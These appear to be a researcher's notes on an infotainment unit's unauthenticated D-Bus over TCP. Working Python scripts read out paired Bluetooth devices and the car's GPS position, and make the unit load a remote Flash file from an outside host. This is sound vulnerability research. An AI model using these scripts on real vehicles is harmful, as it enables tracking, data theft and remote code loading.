Introspection
We created simple dbus-scanner:
1 import sys
2 import dbus
3
4 def main():
5 name = "org.freedesktop.DBus"
6 bus = dbus.bus.BusConnection("tcp:host=192.168.2.4,port=6667")
7 p = bus.get_object(name, "/" + name.replace(".", "/"))
8 i = dbus.Interface(p, dbus_interface=name)
9
10 for s in i.ListNames():
11 print
12 if str(s).find(":") != -1:
13 print "skipped %s." % s
14 continue
15 if str(s).find("-") != -1:
16 print "skipped %s." % s
17 continue
18 else:
19 scan(str(s))
20
21 def scan(name):
22 print "= %s =" % name
23 bus = dbus.bus.BusConnection("tcp:host=192.168.2.4,port=6667")
24 p = bus.get_object(name, "/" + name.replace(".", "/"))
25 i = dbus.Interface(p, dbus_interface="org.freedesktop.DBus")
26
27 print "== functions =="
28 try:
29 print p.Introspect()
30 except:
31 print "Introspect() failed."
32
33 print "== objects =="
34 try:
35 for s in i.ListNames():
36 print s
37 except:
38 print "ListNames() failed."
39
40 print "== properties =="
41 i = dbus.Interface(p, dbus_interface="org.freedesktop.DBus.Properties")
42 try:
43 results = i.GetAll()
44 for s in results:
45 print s
46 except:
47 print "GetAll() failed."
48
49 if __name__ == "__main__":
50 main()
Which provided following results: /Scan
Calling functions
It seems that there is Invoke-method in almost every service and that one is used to call lua/c-functions that take json-paramters and return json-parameters.
1 import sys
2 import dbus
3
4 def main(service, method, args):
5 bus = dbus.bus.BusConnection("tcp:host=192.168.2.3,port=6667")
6 p = bus.get_object(service, "/" + service.replace(".", "/"))
7 i = dbus.Interface(p, dbus_interface="com.harman.ServiceIpc")
8 print "calling %s(%s)" % (method, args)
9 print i.Invoke(method, args)
10
11 if __name__ == "__main__":
12 main(*sys.argv[1:])
Using that we were able to:
Get list of paired Bluetooth devices
machine% python toyota.py com.harman.service.BluetoothService getPairedDeviceList '' {"pairedDeviceList":[{"serviceSearchList":[{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"HFPGW","priority":1,"connected":true},{"service":"HSPGW","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":true},{"service":"AVRCP","priority":0,"connected":false},{"service":"SPP","priority":0,"connected":false},{"service":"PAN_GN","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false}],"name":"cn0011","address":"xx:xx:xx:xx:xx:xx"},{"serviceSearchList":[{"service":"HFPGW","priority":2,"connected":false},{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"DID","priority":0,"connected":false},{"service":"AVRCP","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},{"service":"OPP_SERVER","priority":0,"connected":false},{"service":"PBAP_SERVER","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false}],"name":"ZTE-BLADE","address":"xx:xx:xx:xx:xx:xx"},{"serviceSearchList":[{"service":"HFPGW","priority":3,"connected":false},{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":false},{"service":"OPP_SERVER","priority":0,"connected":false},{"service":"FTP","priority":0,"connected":false},{"service":"DUNGW","priority":0,"connected":false},{"service":"0000-1201-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"SPP","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},{"service":"SyncMLClient","priority":0,"connected":false},{"service":"PBAP_SERVER","priority":0,"connected":false},{"service":"SAP","priority":0,"connected":false},{"service":"0000-1204-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"AVRCP","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false},{"service":"FBUS_RFCOMM","priority":0,"connected":false}],"name":"Nokia X3-02","address":"xx:xx:xx:xx:xx:xx"}],"description":"success","code":0}
Get car GPS-position:
machine% python toyota-cmd.py com.harman.service.Navigation MAP_PositionInfo '' calling MAP_PositionInfo() {"lat":65.06096196174622,"lon":25.44586372375488,"posInfo":null}
Load any flash (swf) application from Internet:
machine% python toyota-cmd.py com.harman.service.HMIService loadExternalSWF '{ "path":"http://www.sieni.us/H4X/29.swf" }' calling loadExternalSWF({ "path":"http://www.sieni.us/H4X/29.swf" }) {"result":true}
Old
DBUS_SESSION_BUS_ADDRESS=tcp:host=192.168.2.4,port=6667 dbus-send --print-reply --dest=foo foo org.mydomain.Interface.Method process 34445: arguments to dbus_message_new_method_call() were incorrect, assertion "_dbus_check_is_valid_path (path)" failed in file dbus-message.c line 1204. This is normally a bug in some application using the D-Bus library. D-Bus not built with -rdynamic so unable to print a backtrace Abort trap: 6
grepping com.harman.service
usr/share/scripts/nav-activation/nav-activation.lua:local g_navBusName = "com.harman.service.Navigation" usr/share/scripts/nav-activation/nav-activation.lua:local g_navSyncBusName = "com.harman.service.NavigationUpdate" usr/share/scripts/nav-activation/nav-activation.lua:local g_InstallerBusName = "com.harman.service.SoftwareInstallerExternal" usr/share/scripts/nav-activation/nav-activation.lua:local g_HMIBusName = "com.harman.service.HMIService" usr/share/scripts/nav-activation/nav-activation.lua:local g_TMBusName = "com.harman.service.ToyotaMGR"
usr/share/scripts/app-install/eu-app-install.lua:local g_InstallServiceName = "com.harman.service.SoftwareInstaller" usr/share/scripts/app-install/us-app-install.lua:local g_InstallServiceName = "com.harman.service.SoftwareInstallerExternal" usr/share/scripts/app-install/us-app-install.lua:local g_TMBusName = "com.harman.service.ToyotaMGR" usr/share/scripts/app-install/us-app-install.lua:local g_HMIBusName = "com.harman.service.HMIService"
11:14:36.438392 IP 192.168.2.3.63280 > 192.168.2.4.6667: Flags [P.], seq 3741:38 85, ack 5448, win 8192, options [nop,nop,TS val 1209668591 ecr 976], len gth 144 E.....@.@............0......l..... .)...... H.......l...........{.....o...../com/harman/service/ToyotaMGR.....s.....:1.11... ..s.#...org.freedesktop.DBus.Introspectable.......s. ...Introspect...... 11:14:36.501990 IP 192.168.2.4.6667 > 192.168.2.3.63280: Flags [P.], seq 5448:62 76, ack 3885, win 33580, options [nop,nop,TS val 976 ecr 1209668591], le ngth 828 E..p..@.@..............0l......M...,....... ....H...l.......p.........s.....:1.73.....u.......g..s....s.....:1.11.......<!DO CTYPE node PUBLIC "-//freedesktop//DTD D-BUS Object Introspection 1.0//E N" "http://www.freedesktop.org/standards/dbus/1.0/introspect.dtd"> <node name="/com/harman/service/ToyotaMGR"> <interface name="com.harman.ServiceIpc"> <method name="Invoke"> <arg name="method" type="s" direction="in"/> <arg name="parameters" type="s" direction="in"/> <arg name="result" type="s" direction="out"/> </method> <signal name="Emit"> <arg name="name" type="s"/> <arg name="data" type="s"/> </signal> </interface> <interface name="org.freedesktop.DBus.Introspectable"> <method name="Introspect"> <arg direction="out" type="s" name="data"/> </method> </interface> </node>.Normal Sort Sort + uniq Sort + uniq + count